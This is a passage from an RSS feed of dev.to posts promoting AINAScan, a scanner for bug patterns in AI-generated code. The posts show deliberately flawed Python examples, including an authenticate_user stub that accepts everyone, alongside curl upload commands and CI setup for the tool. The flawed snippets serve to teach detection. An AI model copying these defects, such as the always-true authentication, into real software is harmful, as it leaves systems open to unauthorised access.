  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'file=@your_code.py'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing is stored. Code runs in memory and is discarded after the scan.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Your Score?
&lt;/h2&gt;

&lt;p&gt;Drop it in the comments.&lt;/p&gt;

&lt;p&gt;I want to see the distribution across Dev.to readers. My guess is most of us are in the B-C range — not catastrophically broken, but not clean either. The S-tier folks are rare. The F- club is larger than anyone wants to admit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Are you a 🦄 or a 💣?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Try it and find out.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;48 patterns, 9 languages, open source core at &lt;a href="https://github.com/moonsehwan/aina-scan" rel="noopener noreferrer"&gt;github.com/moonsehwan/aina-scan&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>The vibe coding loop: scan paste into Cursor fixed in 5 seconds</title>
      <dc:creator>sehwan Moon</dc:creator>
      <pubDate>Mon, 22 Jun 2026 06:53:11 +0000</pubDate>
      <link>https://dev.to/ainascan/the-vibe-coding-loop-scan-paste-into-cursor-fixed-in-5-seconds-cg6</link>
      <guid>https://dev.to/ainascan/the-vibe-coding-loop-scan-paste-into-cursor-fixed-in-5-seconds-cg6</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🎯 Try it live → &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan&lt;/a&gt;&lt;/strong&gt; — paste your code, get a Vibe Score (0–100) with grade S🦄 to F-💣. Free, no signup.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;You write code with Cursor. It looks fine. You ship it.&lt;/p&gt;

&lt;p&gt;Three days later: "why does my app keep losing user data?"&lt;/p&gt;

&lt;p&gt;You trace it back to this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;validated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;validate_schema&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sanitized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sanitize_input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Saving user &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;saved&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pylint: ✅ PASS&lt;br&gt;
Mypy: ✅ PASS&lt;br&gt;
Flake8: ✅ PASS&lt;/p&gt;

&lt;p&gt;Every tool says it's fine. It's not fine. There's no INSERT anywhere. The function is named &lt;code&gt;save_user&lt;/code&gt; and saves nothing.&lt;/p&gt;


&lt;h2&gt;
  
  
  Why AI generates this
&lt;/h2&gt;

&lt;p&gt;Language models are trained on code where &lt;code&gt;save_user&lt;/code&gt; functions validate input, call a DB function, and return success. When the model generates one, it produces the surrounding pattern — but sometimes drops the actual write. The result looks correct, behaves correctly in unit tests, and silently loses data in production.&lt;/p&gt;

&lt;p&gt;This is the &lt;code&gt;MISSING_WRITE&lt;/code&gt; pattern. Standard static analysis tools don't catch it because it's not a syntax error or a known CVE. It's a semantic pattern specific to LLM-generated code.&lt;/p&gt;


&lt;h2&gt;
  
  
  The fix loop
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Scan&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-API-Key: vg_free_test"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"file=@your_file.py"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2: Get the report&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"passed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"issues"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MISSING_WRITE"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"severity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"BLOCK"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"line"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"detail"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"save_user() contains no INSERT/UPDATE — data is never persisted"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3: Paste into Cursor&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Fix this issue in save_user():
MISSING_WRITE (line 1): save_user() contains no INSERT/UPDATE — data is never persisted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4: Cursor fixes it&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;validated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;validate_schema&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sanitized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sanitize_input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_db&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;INSERT INTO users (id, data) VALUES (?, ?) ON CONFLICT(id) DO UPDATE SET data=excluded.data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sanitized&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;commit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Saving user &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;saved&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 5: Scan again → CLEAN ✅&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Total time: under 30 seconds.&lt;/p&gt;




&lt;h2&gt;
  
  
  Other patterns in the same category
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pattern&lt;/th&gt;
&lt;th&gt;What it means&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FAKE_ASYNC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;async def&lt;/code&gt; with no &lt;code&gt;await&lt;/code&gt; — blocking call in async context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;STUB_SKELETON&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Function returns &lt;code&gt;True&lt;/code&gt;/&lt;code&gt;{}&lt;/code&gt; for everything — logic was never written&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;INPUT_OUTPUT_DISCONNECTED&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parameters don't affect the return value&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DEAD_CALL_RESULT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Module results ignored — &lt;code&gt;check_inventory()&lt;/code&gt; returns False, order still "processes"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;All of these are patterns that appear specifically in AI-generated code. Standard linters miss them because they're syntactically valid.&lt;/p&gt;




&lt;h2&gt;
  
  
  Add to CI so you catch it before it ships
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# .github/workflows/scan.yml&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Moonsehwan/aina-vibeguard-action@v1&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;api-key&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.VIBEGUARD_KEY }}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Free key during beta: &lt;code&gt;vg_free_test&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;48 patterns, 9 languages (Python, JS, TS, Go, Java, Ruby, PHP, Kotlin, C/C++).&lt;/p&gt;

&lt;p&gt;The point isn't to replace your AI coding tool. It's to close the loop — scan what the AI wrote, paste the report back in, let it fix itself.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Your Vibe Score?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan — Try it free&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Paste any file. Get a score 0–100, a grade (S🦄 → F-💣), and a per-vulnerability roast.&lt;br&gt;
Supports Python, JS, TS, Go, Ruby, Java, Kotlin, PHP, C/C++ · No signup · Instant results&lt;/p&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>productivity</category>
      <category>security</category>
    </item>
    <item>
      <title>5 security patterns GitHub Copilot generates that no linter catches</title>
      <dc:creator>sehwan Moon</dc:creator>
      <pubDate>Mon, 22 Jun 2026 06:40:37 +0000</pubDate>
      <link>https://dev.to/ainascan/5-security-patterns-github-copilot-generates-that-no-linter-catches-aph</link>
      <guid>https://dev.to/ainascan/5-security-patterns-github-copilot-generates-that-no-linter-catches-aph</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🎯 Try it live → &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan&lt;/a&gt;&lt;/strong&gt; — paste your code, get a Vibe Score (0–100) with grade S🦄 to F-💣. Free, no signup.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;I've been scanning AI-generated codebases for the past month. Here are 5 patterns that appear most often and slip past every standard tool.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. MISSING_WRITE — The function that saves nothing
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_payment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payment_data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;validated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payment_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;saved&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;generate_id&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;
    &lt;span class="c1"&gt;# No INSERT. No UPDATE. Payment gone.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. FAKE_ASYNC — async with zero awaits
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_orders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;psycopg2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DATABASE_URL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# blocking — defeats async entirely
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM orders WHERE user_id = %s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;fetchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. INPUT_OUTPUT_DISCONNECTED — Parameters that don't affect output
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;calculate_discount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;purchase_amount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mf"&gt;0.10&lt;/span&gt;  &lt;span class="c1"&gt;# always 10%, inputs ignored
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. DEAD_CALL_RESULT — Module results that are ignored
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;validate_order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# result ignored
&lt;/span&gt;    &lt;span class="nf"&gt;check_inventory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;     &lt;span class="c1"&gt;# result ignored — out of stock? doesn't matter
&lt;/span&gt;    &lt;span class="nf"&gt;reserve_items&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;       &lt;span class="c1"&gt;# result ignored
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;processing&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. STUB_SKELETON — Returns True for everything
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;authenticate_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;  &lt;span class="c1"&gt;# everyone is authenticated
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Scan for all of these
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-API-Key: vg_free_test"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"file=@your_file.py"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;48 patterns, 9 languages. GitHub Action: &lt;code&gt;Moonsehwan/aina-vibeguard-action@v1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Which of these have you seen in your own codebase?&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Your Vibe Score?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan — Try it free&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Paste any file. Get a score 0–100, a grade (S🦄 → F-💣), and a per-vulnerability roast.&lt;br&gt;
Supports Python, JS, TS, Go, Ruby, Java, Kotlin, PHP, C/C++ · No signup · Instant results&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>github</category>
      <category>python</category>
    </item>
    <item>
      <title>The `save_user()` that saves nothing: MISSING_WRITE bug in AI code</title>
      <dc:creator>sehwan Moon</dc:creator>
      <pubDate>Mon, 22 Jun 2026 06:40:26 +0000</pubDate>
      <link>https://dev.to/ainascan/the-saveuser-that-saves-nothing-missingwrite-bug-in-ai-code-bfj</link>
      <guid>https://dev.to/ainascan/the-saveuser-that-saves-nothing-missingwrite-bug-in-ai-code-bfj</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🎯 Try it live → &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan&lt;/a&gt;&lt;/strong&gt; — paste your code, get a Vibe Score (0–100) with grade S🦄 to F-💣. Free, no signup.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;This function looks completely reasonable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
